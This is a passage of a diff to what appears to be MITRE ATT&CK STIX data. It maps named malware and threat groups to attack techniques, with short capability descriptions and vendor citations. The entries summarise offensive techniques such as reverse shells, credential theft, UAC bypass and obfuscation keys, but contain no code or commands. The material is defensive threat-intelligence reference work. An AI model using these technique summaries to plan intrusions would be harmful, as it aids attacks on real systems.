"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b6dbaf7-d578-4bc6-8f16-07e7c1aeedc8", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.659Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:35:23.395Z", + "type": "relationship", + "id": "relationship--0aac9510-f48a-4b28-ae0e-c6facc1635ae", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.027Z", + "source_ref": "course-of-action--effb83a0-ead1-4b36-b7f6-b7bdf9c4616e", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) can modify registry entries.", + "type": "relationship", + "created": "2019-01-30T14:11:44.111Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c75ec383-2acd-479f-b9b7-b2038ec10a7d", + "external_references": [ + { + "source_name": "Trend Micro Trickbot Nov 2018", + "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/" + } + ], + "modified": "2019-06-24T19:15:06.624Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Exaramel](https://attack.mitre.org/software/S0343) has a command to execute VBS and GO scripts on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T15:10:04.206Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3456ec22-b2ac-470d-8a01-f5d5797a3521", + "external_references": [ + { + "source_name": "ESET TeleBots Oct 2018", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/" + } + ], + "modified": "2019-04-24T21:14:11.948Z", + "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Prikormka](https://attack.mitre.org/software/S0113) contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--96e928af-dbfc-4743-a1dc-353904e21fd3", + "external_references": [ + { + "source_name": "ESET Operation Groundbait", + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "modified": "2019-07-26T20:45:14.335Z", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used command-line interfaces for execution.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--26eafe5d-0ffc-48cf-ba1d-3681bdcbfaa3", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + }, + { + "source_name": "Unit42 Emissary Panda May 2019", + "description": "Falcone, R. and Lancaster, T.. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/" + } + ], + "modified": "2019-07-14T21:15:55.222Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) modifies the tty_tickets line in the sudoers file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5408c62f-55e0-4480-8449-ec3c191b66b8", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.632Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Helminth](https://attack.mitre.org/software/S0170) establishes persistence by creating a shortcut in the Start Menu folder.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2a7cd52f-46e5-4a18-bdf6-4c38edfcb97c", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[AuditCred](https://attack.mitre.org/software/S0347) can open a reverse shell on the system to execute commands.", + "type": "relationship", + "created": "2019-01-30T15:47:41.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55c7a861-5b9d-43f6-9430-914a35f9af77", + "external_references": [ + { + "source_name": "TrendMicro Lazarus Nov 2018", + "description": "Trend Micro. (2018, November 20). Lazarus Continues Heists, Mounts Attacks on Financial Organizations in Latin America. Retrieved December 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/" + } + ], + "modified": "2019-01-30T15:47:41.413Z", + "source_ref": "malware--24b4ce59-eaac-4c8b-8634-9b093b7ccd92", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-30T22:44:28.369Z", + "type": "relationship", + "created": "2019-01-29T20:17:49.379Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--831143c2-3477-49e4-8806-c1e07be0fa79", + "external_references": [ + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "relationship_type": "uses", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) searches for files with specific file extensions.", + "type": "relationship", + "created": "2019-01-29T21:33:34.620Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b83337c-5030-402d-ad28-1b9f5cf782cc", + "external_references": [ + { + "source_name": "Unit 42 BadPatch Oct 2017", + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "modified": "2019-04-23T21:17:49.847Z", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can communicate over multiple C2 host and port combinations.", + "type": "relationship", + "created": "2019-01-30T16:39:54.317Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d3e0b0b8-797f-4638-bcb6-aa688c3a0a9a", + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "modified": "2019-06-10T18:25:51.597Z", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SynAck](https://attack.mitre.org/software/S0242) enumerates all running services.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--97a083ff-40ef-4e4c-9837-4ab1537a063c", + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + }, + { + "source_name": "Kaspersky Lab SynAck May 2018", + "description": "Bettencourt, J. (2018, May 7). Kaspersky Lab finds new variant of SynAck ransomware using sophisticated Doppelg\u00e4nging technique. Retrieved May 24, 2018.", + "url": "https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging" + } + ], + "modified": "2019-07-26T23:00:57.079Z", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can use VBScript (VBE), PowerShell, and JavaScript code for execution.", + "type": "relationship", + "created": "2019-01-30T17:13:11.872Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c5d09de5-7a1e-45b5-a7ac-1637e8fe8eff", + "external_references": [ + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-04-22T22:36:53.034Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) obfuscates the configuration with a custom Base64 and XOR.", + "type": "relationship", + "created": "2019-01-29T21:47:53.738Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a2c59195-f81a-4ed1-8d64-7137f961a835", + "external_references": [ + { + "source_name": "Talos Micropsia June 2017", + "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018.", + "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html" + }, + { + "source_name": "Radware Micropsia July 2018", + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "modified": "2019-04-17T22:05:05.862Z", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has obfuscated code used in an operation using RC4 and other methods.", + "type": "relationship", + "created": "2019-01-30T17:43:28.252Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1330d8a5-c8be-4579-8a91-4cfda860ea0a", + "external_references": [ + { + "source_name": "Securelist Darkhotel Aug 2015", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", + "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/" + } + ], + "modified": "2019-01-31T18:48:52.057Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[zwShell](https://attack.mitre.org/software/S0350) has used SchTasks for execution.", + "type": "relationship", + "created": "2019-01-30T17:48:35.683Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--38419f2f-51d2-47ed-9fd9-bba3712474cc", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "modified": "2019-01-30T17:48:35.683Z", + "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--960bdedf-dcca-4a9b-aa12-358324565470", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.273Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:36:29.965Z", + "type": "relationship", + "created": "2019-01-30T18:02:59.524Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a24e618b-6624-4bca-9bef-c5f4ca6cab53", + "external_references": [ + { + "source_name": "McAfee Night Dragon", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "relationship_type": "uses", + "target_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) can run commands through a terminal on the victim\u2019s machine.", + "type": "relationship", + "created": "2019-01-30T19:18:20.092Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bf3ce50b-7981-4488-8751-bea865ec7d98", + "external_references": [ + { + "source_name": "TrendMicro MacOS April 2018", + "description": "Horejsi, J. (2018, April 04). New MacOS Backdoor Linked to OceanLotus Found. Retrieved November 13, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/new-macos-backdoor-linked-to-oceanlotus-found/" + } + ], + "modified": "2019-01-30T19:18:20.092Z", + "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can perform port scanning of TCP and UDP ports.", + "type": "relationship", + "created": "2019-01-30T13:28:47.840Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9409dcff-0ddf-43f6-b7c0-937fd9216ee0", + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "modified": "2019-06-28T15:15:54.370Z", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses Base64 encoding for strings.", + "type": "relationship", + "created": "2019-01-30T19:50:46.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6f5973be-3c51-4bd1-b652-f12903caa3e2", + "external_references": [ + { + "source_name": "Unit 42 NOKKI Sept 2018", + "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/" + } + ], + "modified": "2019-01-31T00:38:09.334Z", + "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has a module to inject a PE binary into a remote process.", + "type": "relationship", + "created": "2019-01-30T13:53:14.891Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b37c1e66-774b-45ff-9c2a-b24ea9784963", + "external_references": [ + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. 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OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + } + ], + "modified": "2019-04-24T20:56:04.632Z", + "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT29](https://attack.mitre.org/groups/G0016) uses TCP for C2 communications.", + "type": "relationship", + "created": "2019-01-30T14:19:17.622Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ef9be47-db80-47bd-bff1-a7f4c1a22562", + "external_references": [ + { + "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html" + } + ], + "modified": "2019-07-25T14:25:53.295Z", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) uses the command-line interface to execute arbitrary commands.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c9a7b725-bdab-4955-a963-b747a406102b", + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + }, + { + "source_name": "US-CERT Bankshot Dec 2017", + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) will use an 8-byte XOR key derived from the string HYF54&%9&jkMCXuiS instead if the DES decoding fails.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a70e764-5c19-4c8e-97e4-486af893cbfc", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can steal credentials in files belonging to common software such as Skype, Telegram, and Steam.", + "type": "relationship", + "created": "2019-01-30T15:19:14.919Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3e418cf0-fbe4-4de1-84bf-e137c5c0a72a", + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "modified": "2019-07-26T23:22:28.281Z", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "relationship_type": "uses", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) performs UAC bypass.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--659462ab-e1ed-4370-9810-aa3efcb060bf", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "modified": "2019-07-14T21:44:44.260Z", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[WEBC2](https://attack.mitre.org/software/S0109) can open an interactive command shell.", + "type": "relationship", + "created": "2019-01-30T15:21:42.369Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b3e4c3b6-0036-4968-b245-a4c36d3cd417", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-01-30T15:21:42.369Z", + "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) stores output from command execution in a .dat file in the %TEMP% directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to gather the username from the system.", + 